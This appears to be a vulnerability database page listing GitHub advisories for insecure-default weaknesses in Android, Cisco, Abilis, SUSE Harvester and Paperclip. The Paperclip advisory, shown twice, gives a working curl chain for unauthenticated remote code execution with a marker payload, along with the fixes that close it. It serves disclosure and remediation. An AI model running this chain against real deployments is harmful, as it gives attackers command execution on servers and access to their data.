Common Weakness Enumeration

CWE-1188

Allowed

Initialization of a Resource with an Insecure Default

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product initializes or sets a resource with a default that is intended to be changed by the product's installer, administrator, or maintainer, but the default is not secure.

435 vulnerabilities reference this CWE, most recent first.

GHSA-67Q8-HW3V-9FJ4

Vulnerability from github – Published: 2024-08-16 00:32 – Updated: 2024-08-16 18:30
VLAI
Details

In onForegroundServiceButtonClicked of FooterActionsViewModel.kt, there is a possible way to disable the active VPN app from the lockscreen due to an insecure default value. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

Severity
7.7 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-34734"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-453"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-15T22:15:06Z",
    "severity": "HIGH"
  },
  "details": "In onForegroundServiceButtonClicked of FooterActionsViewModel.kt, there is a possible way to disable the active VPN app from the lockscreen due to an insecure default value. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-67q8-hw3v-9fj4",
  "modified": "2024-08-16T18:30:57Z",
  "published": "2024-08-16T00:32:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34734"
    },
    {
      "type": "WEB",
      "url": "https://android.googlesource.com/platform/frameworks/base/+/207584fb6f820eba14251251d7e9331bfd57adb8"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2024-08-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-68QG-G8MG-6PR7

Vulnerability from github – Published: 2026-04-10 21:08 – Updated: 2026-04-27 16:19
VLAI
Summary
paperclip Vulnerable to Unauthenticated Remote Code Execution via Import Authorization Bypass
Details

Summary

An unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in authenticated mode with default configuration. No user interaction, no credentials, just the target's address. The entire chain is six API calls.

I verified every step against the latest version. I have a fully automated PoC script and a video recording available.

Discord: sagi03581

Steps to Reproduce

The attack chains four independent flaws to escalate from zero access to RCE:

Step 1: Create an account (no invite, no email verification)

curl -s -X POST -H "Content-Type: application/json" \
  -d '{"email":"attacker@evil.com","password":"P@ssw0rd123","name":"attacker"}' \
  http://<target>:3100/api/auth/sign-up/email

Returns a valid account immediately. No invite token required, no email verification.

This works because PAPERCLIP_AUTH_DISABLE_SIGN_UP defaults to false in server/src/config.ts:169-173:

const authDisableSignUp: boolean =
  disableSignUpFromEnv !== undefined
    ? disableSignUpFromEnv === "true"
    : (fileConfig?.auth?.disableSignUp ?? false);   // default: open

And email verification is hardcoded off in server/src/auth/better-auth.ts:89-93:

emailAndPassword: {
  enabled: true,
  requireEmailVerification: false,
  disableSignUp: config.authDisableSignUp,
},

The environment variable isn't documented in the deployment guide, so operators don't know it exists.

Step 2: Sign in

curl -s -v -X POST -H "Content-Type: application/json" \
  -d '{"email":"attacker@evil.com","password":"P@ssw0rd123"}' \
  http://<target>:3100/api/auth/sign-in/email

Capture the session cookie from the Set-Cookie header.

Step 3: Create a CLI auth challenge and self-approve it

Create the challenge (no authentication required at all):

curl -s -X POST -H "Content-Type: application/json" \
  -d '{"command":"test"}' \
  http://<target>:3100/api/cli-auth/challenges

The response includes a token and a boardApiToken. The handler at server/src/routes/access.ts:1638-1659 has no actor check -- anyone can create a challenge.

Now approve it with our own session:

curl -s -X POST \
  -H "Cookie: <session-cookie>" \
  -H "Content-Type: application/json" \
  -H "Origin: http://<target>:3100" \
  -d '{"token":"<token-from-above>"}' \
  http://<target>:3100/api/cli-auth/challenges/<id>/approve

The approval handler at server/src/routes/access.ts:1687-1704 checks that the caller is a board user but does not check whether the approver is the same person who created the challenge:

if (req.actor.type !== "board" || (!req.actor.userId && !isLocalImplicit(req))) {
  throw unauthorized("Sign in before approving CLI access");
}
// no check that approver !== creator
const userId = req.actor.userId ?? "local-board";
const approved = await boardAuth.approveCliAuthChallenge(id, req.body.token, userId);

The boardApiToken from step 3 is now a persistent API key tied to our account.

Step 4: Create a company and deploy an agent via import (authorization bypass)

This is the critical flaw. The direct company creation endpoint correctly requires instance admin:

server/src/routes/companies.ts:260-264:

router.post("/", validate(createCompanySchema), async (req, res) => {
  assertBoard(req);
  if (!(req.actor.source === "local_implicit" || req.actor.isInstanceAdmin)) {
    throw forbidden("Instance admin required");
  }
});

But the import endpoint does not:

server/src/routes/companies.ts:170-176:

router.post("/import", validate(companyPortabilityImportSchema), async (req, res) => {
  assertBoard(req);                                     // only checks board type
  if (req.body.target.mode === "existing_company") {
    assertCompanyAccess(req, req.body.target.companyId);  // only for existing
  }
  // NO assertInstanceAdmin for "new_company" mode
  const result = await portability.importBundle(req.body, ...);
});

assertInstanceAdmin isn't even imported in companies.ts (line 27 only imports assertBoard, assertCompanyAccess, getActorInfo), while it is imported and used in other route files like agents.ts.

The import also accepts a .paperclip.yaml in the bundle that specifies agent adapter configuration. The process adapter takes a command and args and calls spawn() directly with zero sandboxing. The import service passes the full adapterConfig through without validation (server/src/services/company-portability.ts:3955-3981).

curl -s -X POST -H "Authorization: Bearer <board-api-key>" \
  -H "Content-Type: application/json" \
  -H "Origin: http://<target>:3100" \
  -d '{
    "source": {"type": "inline", "files": {
      "COMPANY.md": "---\nname: attacker-corp\nslug: attacker-corp\n---\nx",
      "agents/pwn/AGENTS.md": "---\nkind: agent\nname: pwn\nslug: pwn\nrole: engineer\n---\nx",
      ".paperclip.yaml": "agents:\n  pwn:\n    icon: terminal\n    adapter:\n      type: process\n      config:\n        command: bash\n        args:\n          - -c\n          - id > /tmp/pwned.txt && whoami >> /tmp/pwned.txt"
    }},
    "target": {"mode": "new_company", "newCompanyName": "attacker-corp"},
    "include": {"company": true, "agents": true},
    "agents": "all"
  }' \
  http://<target>:3100/api/companies/import

Returns the new company ID and agent ID. The attacker now owns a company with a process adapter agent configured to run arbitrary commands.

Step 5: Trigger the agent

curl -s -X POST -H "Authorization: Bearer <board-api-key>" \
  -H "Content-Type: application/json" \
  -H "Origin: http://<target>:3100" \
  -d '{}' \
  http://<target>:3100/api/agents/<agent-id>/wakeup

The wakeup handler at server/src/routes/agents.ts:2073-2085 only checks assertCompanyAccess, which passes because the attacker created the company. Paperclip spawns bash -c "id > /tmp/pwned.txt && ..." as the server's OS user.

Proof of Concept

I have a self-contained bash script that runs the full chain automatically:

./poc_exploit.sh http://<target>:3100

It creates a random test account, self-approves a CLI key, imports a company with a process adapter agent, triggers it, and checks for a marker file to confirm execution. Runs in under 30 seconds.

Impact

An unauthenticated remote attacker can execute arbitrary commands as the Paperclip server's OS user on any authenticated mode deployment with default configuration. This gives them:

  • Full filesystem access (read/write as the server user)
  • Access to all data in the Paperclip database
  • Ability to pivot to internal network services
  • Ability to disrupt all agent operations

The attack is fully automated, requires no user interaction, and works against the default deployment configuration.

Suggested Fixes

Critical: Unauthorized board access (the root cause)

The import bypass is how I got RCE today, but the real problem is that anyone can go from unauthenticated to a fully persistent board user through open signup + self-approve. Even if you fix the import endpoint, the attacker still has a board API key and can:

  • Read adapter configurations and internal API structure
  • Approve/reject/request-revision on any company's approvals (these endpoints only check assertBoard, not assertCompanyAccess)
  • Cancel any company's agent runs (same missing check)
  • Read issue data from any heartbeat run (zero auth on GET /api/heartbeat-runs/:runId/issues)
  • Create unlimited accounts for resource exhaustion
  • Wait for the next authorization bug to appear

These need to be fixed together:

  1. Disable open registration by default -- server/src/config.ts:172, change ?? false to ?? true. Document PAPERCLIP_AUTH_DISABLE_SIGN_UP in the deployment guide. Any deployment that wants open signup can opt in explicitly.

  2. Prevent CLI auth self-approval -- server/src/routes/access.ts, around line 1700. Reject when the approving user is the same user who created the challenge. Right now anyone with a session can generate their own persistent API key.

  3. Require email verification -- server/src/auth/better-auth.ts:91, set requireEmailVerification: true. At minimum this stops throwaway accounts.

Critical: Import authorization bypass (the RCE path)

  1. Add assertInstanceAdmin to the import endpoint for new_company mode -- server/src/routes/companies.ts, lines 161-176. The direct POST / creation endpoint already has this check. The import endpoint doesn't. Apply the same check to both POST /import and POST /import/preview:
assertBoard(req);
if (req.body.target.mode === "new_company") {
  if (!(req.actor.source === "local_implicit" || req.actor.isInstanceAdmin)) {
    throw forbidden("Instance admin required");
  }
} else {
  assertCompanyAccess(req, req.body.target.companyId);
}
Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "paperclipai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.410.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@paperclipai/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.410.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41679"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-287",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T21:08:57Z",
    "nvd_published_at": "2026-04-23T02:16:19Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nAn unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in `authenticated` mode with default configuration. No user interaction, no credentials, just the target\u0027s address. The entire chain is six API calls.\n\nI verified every step against the latest version. I have a fully automated PoC script and a video recording available.\n\nDiscord: sagi03581\n\n## Steps to Reproduce\n\nThe attack chains four independent flaws to escalate from zero access to RCE:\n\n### Step 1: Create an account (no invite, no email verification)\n\n```bash\ncurl -s -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"email\":\"attacker@evil.com\",\"password\":\"P@ssw0rd123\",\"name\":\"attacker\"}\u0027 \\\n  http://\u003ctarget\u003e:3100/api/auth/sign-up/email\n```\n\nReturns a valid account immediately. No invite token required, no email verification.\n\nThis works because `PAPERCLIP_AUTH_DISABLE_SIGN_UP` defaults to `false` in `server/src/config.ts:169-173`:\n\n```typescript\nconst authDisableSignUp: boolean =\n  disableSignUpFromEnv !== undefined\n    ? disableSignUpFromEnv === \"true\"\n    : (fileConfig?.auth?.disableSignUp ?? false);   // default: open\n```\n\nAnd email verification is hardcoded off in `server/src/auth/better-auth.ts:89-93`:\n\n```typescript\nemailAndPassword: {\n  enabled: true,\n  requireEmailVerification: false,\n  disableSignUp: config.authDisableSignUp,\n},\n```\n\nThe environment variable isn\u0027t documented in the deployment guide, so operators don\u0027t know it exists.\n\n### Step 2: Sign in\n\n```bash\ncurl -s -v -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"email\":\"attacker@evil.com\",\"password\":\"P@ssw0rd123\"}\u0027 \\\n  http://\u003ctarget\u003e:3100/api/auth/sign-in/email\n```\n\nCapture the session cookie from the `Set-Cookie` header.\n\n### Step 3: Create a CLI auth challenge and self-approve it\n\nCreate the challenge (no authentication required at all):\n\n```bash\ncurl -s -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"command\":\"test\"}\u0027 \\\n  http://\u003ctarget\u003e:3100/api/cli-auth/challenges\n```\n\nThe response includes a `token` and a `boardApiToken`. The handler at `server/src/routes/access.ts:1638-1659` has no actor check -- anyone can create a challenge.\n\nNow approve it with our own session:\n\n```bash\ncurl -s -X POST \\\n  -H \"Cookie: \u003csession-cookie\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Origin: http://\u003ctarget\u003e:3100\" \\\n  -d \u0027{\"token\":\"\u003ctoken-from-above\u003e\"}\u0027 \\\n  http://\u003ctarget\u003e:3100/api/cli-auth/challenges/\u003cid\u003e/approve\n```\n\nThe approval handler at `server/src/routes/access.ts:1687-1704` checks that the caller is a board user but does not check whether the approver is the same person who created the challenge:\n\n```typescript\nif (req.actor.type !== \"board\" || (!req.actor.userId \u0026\u0026 !isLocalImplicit(req))) {\n  throw unauthorized(\"Sign in before approving CLI access\");\n}\n// no check that approver !== creator\nconst userId = req.actor.userId ?? \"local-board\";\nconst approved = await boardAuth.approveCliAuthChallenge(id, req.body.token, userId);\n```\n\nThe `boardApiToken` from step 3 is now a persistent API key tied to our account.\n\n### Step 4: Create a company and deploy an agent via import (authorization bypass)\n\nThis is the critical flaw. The direct company creation endpoint correctly requires instance admin:\n\n`server/src/routes/companies.ts:260-264`:\n```typescript\nrouter.post(\"/\", validate(createCompanySchema), async (req, res) =\u003e {\n  assertBoard(req);\n  if (!(req.actor.source === \"local_implicit\" || req.actor.isInstanceAdmin)) {\n    throw forbidden(\"Instance admin required\");\n  }\n});\n```\n\nBut the import endpoint does not:\n\n`server/src/routes/companies.ts:170-176`:\n```typescript\nrouter.post(\"/import\", validate(companyPortabilityImportSchema), async (req, res) =\u003e {\n  assertBoard(req);                                     // only checks board type\n  if (req.body.target.mode === \"existing_company\") {\n    assertCompanyAccess(req, req.body.target.companyId);  // only for existing\n  }\n  // NO assertInstanceAdmin for \"new_company\" mode\n  const result = await portability.importBundle(req.body, ...);\n});\n```\n\n`assertInstanceAdmin` isn\u0027t even imported in `companies.ts` (line 27 only imports `assertBoard`, `assertCompanyAccess`, `getActorInfo`), while it is imported and used in other route files like `agents.ts`.\n\nThe import also accepts a `.paperclip.yaml` in the bundle that specifies agent adapter configuration. The `process` adapter takes a `command` and `args` and calls `spawn()` directly with zero sandboxing. The import service passes the full `adapterConfig` through without validation (`server/src/services/company-portability.ts:3955-3981`).\n\n```bash\ncurl -s -X POST -H \"Authorization: Bearer \u003cboard-api-key\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Origin: http://\u003ctarget\u003e:3100\" \\\n  -d \u0027{\n    \"source\": {\"type\": \"inline\", \"files\": {\n      \"COMPANY.md\": \"---\\nname: attacker-corp\\nslug: attacker-corp\\n---\\nx\",\n      \"agents/pwn/AGENTS.md\": \"---\\nkind: agent\\nname: pwn\\nslug: pwn\\nrole: engineer\\n---\\nx\",\n      \".paperclip.yaml\": \"agents:\\n  pwn:\\n    icon: terminal\\n    adapter:\\n      type: process\\n      config:\\n        command: bash\\n        args:\\n          - -c\\n          - id \u003e /tmp/pwned.txt \u0026\u0026 whoami \u003e\u003e /tmp/pwned.txt\"\n    }},\n    \"target\": {\"mode\": \"new_company\", \"newCompanyName\": \"attacker-corp\"},\n    \"include\": {\"company\": true, \"agents\": true},\n    \"agents\": \"all\"\n  }\u0027 \\\n  http://\u003ctarget\u003e:3100/api/companies/import\n```\n\nReturns the new company ID and agent ID. The attacker now owns a company with a process adapter agent configured to run arbitrary commands.\n\n### Step 5: Trigger the agent\n\n```bash\ncurl -s -X POST -H \"Authorization: Bearer \u003cboard-api-key\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Origin: http://\u003ctarget\u003e:3100\" \\\n  -d \u0027{}\u0027 \\\n  http://\u003ctarget\u003e:3100/api/agents/\u003cagent-id\u003e/wakeup\n```\n\nThe wakeup handler at `server/src/routes/agents.ts:2073-2085` only checks `assertCompanyAccess`, which passes because the attacker created the company. Paperclip spawns `bash -c \"id \u003e /tmp/pwned.txt \u0026\u0026 ...\"` as the server\u0027s OS user.\n\n### Proof of Concept\n\nI have a self-contained bash script that runs the full chain automatically:\n\n```\n./poc_exploit.sh http://\u003ctarget\u003e:3100\n```\n\nIt creates a random test account, self-approves a CLI key, imports a company with a process adapter agent, triggers it, and checks for a marker file to confirm execution. Runs in under 30 seconds.\n\n## Impact\n\nAn unauthenticated remote attacker can execute arbitrary commands as the Paperclip server\u0027s OS user on any `authenticated` mode deployment with default configuration. This gives them:\n\n- Full filesystem access (read/write as the server user)\n- Access to all data in the Paperclip database\n- Ability to pivot to internal network services\n- Ability to disrupt all agent operations\n\nThe attack is fully automated, requires no user interaction, and works against the default deployment configuration.\n\n## Suggested Fixes\n\n### Critical: Unauthorized board access (the root cause)\n\nThe import bypass is how I got RCE today, but the real problem is that anyone can go from unauthenticated to a fully persistent board user through open signup + self-approve. Even if you fix the import endpoint, the attacker still has a board API key and can:\n\n- Read adapter configurations and internal API structure\n- Approve/reject/request-revision on any company\u0027s approvals (these endpoints only check `assertBoard`, not `assertCompanyAccess`)\n- Cancel any company\u0027s agent runs (same missing check)\n- Read issue data from any heartbeat run (zero auth on `GET /api/heartbeat-runs/:runId/issues`)\n- Create unlimited accounts for resource exhaustion\n- Wait for the next authorization bug to appear\n\n**These need to be fixed together:**\n\n1. **Disable open registration by default** -- `server/src/config.ts:172`, change `?? false` to `?? true`. Document `PAPERCLIP_AUTH_DISABLE_SIGN_UP` in the deployment guide. Any deployment that wants open signup can opt in explicitly.\n\n2. **Prevent CLI auth self-approval** -- `server/src/routes/access.ts`, around line 1700. Reject when the approving user is the same user who created the challenge. Right now anyone with a session can generate their own persistent API key.\n\n3. **Require email verification** -- `server/src/auth/better-auth.ts:91`, set `requireEmailVerification: true`. At minimum this stops throwaway accounts.\n\n### Critical: Import authorization bypass (the RCE path)\n\n4. **Add `assertInstanceAdmin` to the import endpoint for `new_company` mode** -- `server/src/routes/companies.ts`, lines 161-176. The direct `POST /` creation endpoint already has this check. The import endpoint doesn\u0027t. Apply the same check to both `POST /import` and `POST /import/preview`:\n\n```typescript\nassertBoard(req);\nif (req.body.target.mode === \"new_company\") {\n  if (!(req.actor.source === \"local_implicit\" || req.actor.isInstanceAdmin)) {\n    throw forbidden(\"Instance admin required\");\n  }\n} else {\n  assertCompanyAccess(req, req.body.target.companyId);\n}\n```",
  "id": "GHSA-68qg-g8mg-6pr7",
  "modified": "2026-04-27T16:19:04Z",
  "published": "2026-04-10T21:08:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-68qg-g8mg-6pr7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41679"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/paperclipai/paperclip"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "paperclip Vulnerable to Unauthenticated Remote Code Execution via Import Authorization Bypass"
}

GHSA-68R9-5XR5-XJ6J

Vulnerability from github – Published: 2022-05-24 19:19 – Updated: 2022-05-24 19:19
VLAI
Details

Multiple vulnerabilities in the web-based management interface of the Cisco Catalyst Passive Optical Network (PON) Series Switches Optical Network Terminal (ONT) could allow an unauthenticated, remote attacker to perform the following actions: Log in with a default credential if the Telnet protocol is enabled Perform command injection Modify the configuration For more information about these vulnerabilities, see the Details section of this advisory.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-34795"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-798"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-04T16:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Multiple vulnerabilities in the web-based management interface of the Cisco Catalyst Passive Optical Network (PON) Series Switches Optical Network Terminal (ONT) could allow an unauthenticated, remote attacker to perform the following actions: Log in with a default credential if the Telnet protocol is enabled Perform command injection Modify the configuration For more information about these vulnerabilities, see the Details section of this advisory.",
  "id": "GHSA-68r9-5xr5-xj6j",
  "modified": "2022-05-24T19:19:46Z",
  "published": "2022-05-24T19:19:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34795"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-catpon-multivulns-CE3DSYGr"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6F2R-5P58-WVRF

Vulnerability from github – Published: 2025-11-04 03:30 – Updated: 2025-11-04 15:31
VLAI
Details

By failing to authenticate three times to an unconfigured Abilis CPX device via SSH, an attacker can login to a restricted shell on the fourth attempt, and from there, relay connections.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-35021"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-04T01:15:33Z",
    "severity": "MODERATE"
  },
  "details": "By failing to authenticate three times to an unconfigured Abilis CPX device via SSH, an attacker can login to a restricted shell on the fourth attempt, and from there, relay connections.",
  "id": "GHSA-6f2r-5p58-wvrf",
  "modified": "2025-11-04T15:31:31Z",
  "published": "2025-11-04T03:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-35021"
    },
    {
      "type": "WEB",
      "url": "https://support.abilis.net/relnotes/cpx2k/R9.0.html#R9.0.7"
    },
    {
      "type": "WEB",
      "url": "https://takeonme.org/cves/cve-2025-35021"
    },
    {
      "type": "WEB",
      "url": "https://takeonme.org/gcves/GCVE-1337-2025-00000000000000000000000000000000000000000000000001011111111111011111111110000000000000000000000000000000000000000000000000000000100"
    },
    {
      "type": "WEB",
      "url": "https://www.runzero.com/advisories/abilis-cpx-authentication-bypass-cve-2025-35021"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6G8Q-HP2J-GVWV

Vulnerability from github – Published: 2026-01-05 20:25 – Updated: 2026-01-08 21:18
VLAI
Summary
Harvest May Expose OS Default SSH Login Password Via SUSE Virtualization Interactive Installer
Details

Impact

Projects using the SUSE Virtualization (Harvester) environment are vulnerable to this exploit if they are using the 1.5.x or 1.6.x interactive installer to either create a new cluster or add new hosts to an existing cluster. The environment is not affected if the PXE boot mechanism is utilized along with the Harvester configuration setup.

A critical vulnerability has been identified within the SUSE Virtualization interactive installer. This vulnerability allows an attacker to gain unauthorized network access to the host via a remote shell (SSH).

The SUSE Virtualization operating system includes a default administrative login credential intended solely for out-of-band cluster management tasks (for example, perform troubleshooting, device management and system recovery over serial ports). When the interactive installer is used to create or expand a cluster, the installer enables the host's networking functions before the default password is reset. This presents a window of opportunity for an attacker to exploit the default password to gain unauthorized access to the host via SSH.

Please consult the associated MITRE ATT&CK - Technique - Default Credentials for further information about this category of attack.

Patches

This vulnerability is addressed by updating the interactive installer to allow the user to reset the OS default login password, before proceeding to other system configuration screens like the host networking screen and before network connectivity for remote access to the host is actually enabled.

v1.7.0 and later include the necessary security fixes.

Workarounds

For environments that are dependent on the SUSE Virtualization 1.5 and 1.6 interactive installer, users should upgrade the clusters to SUSE Virtualization 1.7 and use the 1.7 installer to manage hosts. These versions allow users to reset the operating system's default administrative password before proceeding to other system configuration screens and before enabling network connectivity for remote host access.

Projects can also perform one of the following workarounds to mitigate the risk:

  • If upgrading to v1.7.x is not an option, use the PXE boot mechanism along with a configuration file to define a secure password.
  • Apply network security controls to limit access to the server from any untrusted location during bootstrapping. For example, ensure that port 22 is not exposed to the public internet until at least the default login password is changed to a secure value.

Resources

If users have any questions or comments about this advisory: * Reach out to the SUSE Rancher Security team for security related inquiries. * Open an issue in the Harvester repository. * Verify with the support matrix and product support lifecycle.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/harvester/harvester-installer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.6.0"
            },
            {
              "last_affected": "1.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/harvester/harvester-installer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.0"
            },
            {
              "last_affected": "1.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62877"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-05T20:25:53Z",
    "nvd_published_at": "2026-01-08T13:15:41Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\n\nProjects using the SUSE Virtualization (Harvester) environment are vulnerable to this exploit if they are using the 1.5.x or 1.6.x interactive installer to either create a new cluster or add new hosts to an existing cluster.  The environment is not affected if the [PXE boot mechanism](https://docs.harvesterhci.io/v1.7/install/pxe-boot-install/) is utilized along with the [Harvester configuration](https://docs.harvesterhci. io/v1.7/install/harvester-configuration) setup.\n\nA critical vulnerability has been identified within the SUSE Virtualization interactive installer. This vulnerability allows an attacker to gain unauthorized network access to the host via a remote shell (SSH).\n\nThe SUSE Virtualization operating system includes a default administrative login credential intended solely for out-of-band cluster management tasks (for example, perform troubleshooting, device management and system recovery over serial ports). When the interactive installer is used to create or expand a cluster, the installer enables the host\u0027s networking functions before the default password is reset. This presents a window of opportunity for an attacker to exploit the default password to gain unauthorized access to the host via SSH. \n\nPlease consult the associated  [MITRE ATT\u0026CK - Technique - Default Credentials](https://attack.mitre.org/techniques/T0812/) for further information about this category of attack.\n\n### Patches\n\nThis vulnerability is addressed by updating the interactive installer to allow the user to reset the OS default login password, before proceeding to other system configuration screens like the host networking screen and before network connectivity for remote access to the host is actually enabled. \n\nv1.7.0 and later include the necessary security fixes. \n\n### Workarounds\n\nFor environments that are dependent on the SUSE Virtualization 1.5 and 1.6 interactive installer, users should upgrade the clusters to SUSE Virtualization 1.7 and use the 1.7 installer to manage hosts. These versions allow users to reset the operating system\u0027s default administrative password before proceeding to other system configuration screens and before enabling network connectivity for remote host access.\n\nProjects can also perform one of the following workarounds to mitigate the risk:\n\n* If upgrading to v1.7.x is not an option, use the [PXE boot mechanism](https://docs.harvesterhci.io/v1.7/install/pxe-boot-install/) along with a configuration file to define a secure password. \n* Apply network security controls to limit access to the server from any untrusted location during bootstrapping. For example, ensure that port 22 is not exposed to the public internet until at least the default login password is changed to a secure value.\n\n### Resources\n\nIf users have any questions or comments about this advisory: \n* Reach out to the [SUSE Rancher Security team](https://github.com/harvester/harvester/security/policy) for security related inquiries.\n* Open an issue in the [Harvester](https://github.com/harvester/harvester/issues/new/choose) repository.\n* Verify with the [support matrix](https://www.suse.com/suse-harvester/support-matrix/all-supported-versions/harvester-v1-6-x/) and [product support lifecycle](https://www.suse.com/lifecycle/#suse-virtualization).",
  "id": "GHSA-6g8q-hp2j-gvwv",
  "modified": "2026-01-08T21:18:48Z",
  "published": "2026-01-05T20:25:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/harvester/harvester/security/advisories/GHSA-6g8q-hp2j-gvwv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62877"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2025-62877"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/harvester/harvester"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Harvest May Expose OS Default SSH Login Password Via SUSE Virtualization Interactive Installer"
}

GHSA-6HP8-P722-7744

Vulnerability from github – Published: 2022-12-13 18:30 – Updated: 2022-12-15 06:30
VLAI
Details

In applyKeyguardFlags of NotificationShadeWindowControllerImpl.java, there is a possible way to observe the user's password on a secondary display due to an insecure default value. This could lead to local information disclosure with no additional execution privileges needed. User interaction is needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-12 Android-12L Android-13Android ID: A-179725730

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-20466"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-13T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In applyKeyguardFlags of NotificationShadeWindowControllerImpl.java, there is a possible way to observe the user\u0027s password on a secondary display due to an insecure default value. This could lead to local information disclosure with no additional execution privileges needed. User interaction is needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-12 Android-12L Android-13Android ID: A-179725730",
  "id": "GHSA-6hp8-p722-7744",
  "modified": "2022-12-15T06:30:30Z",
  "published": "2022-12-13T18:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20466"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2022-12-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
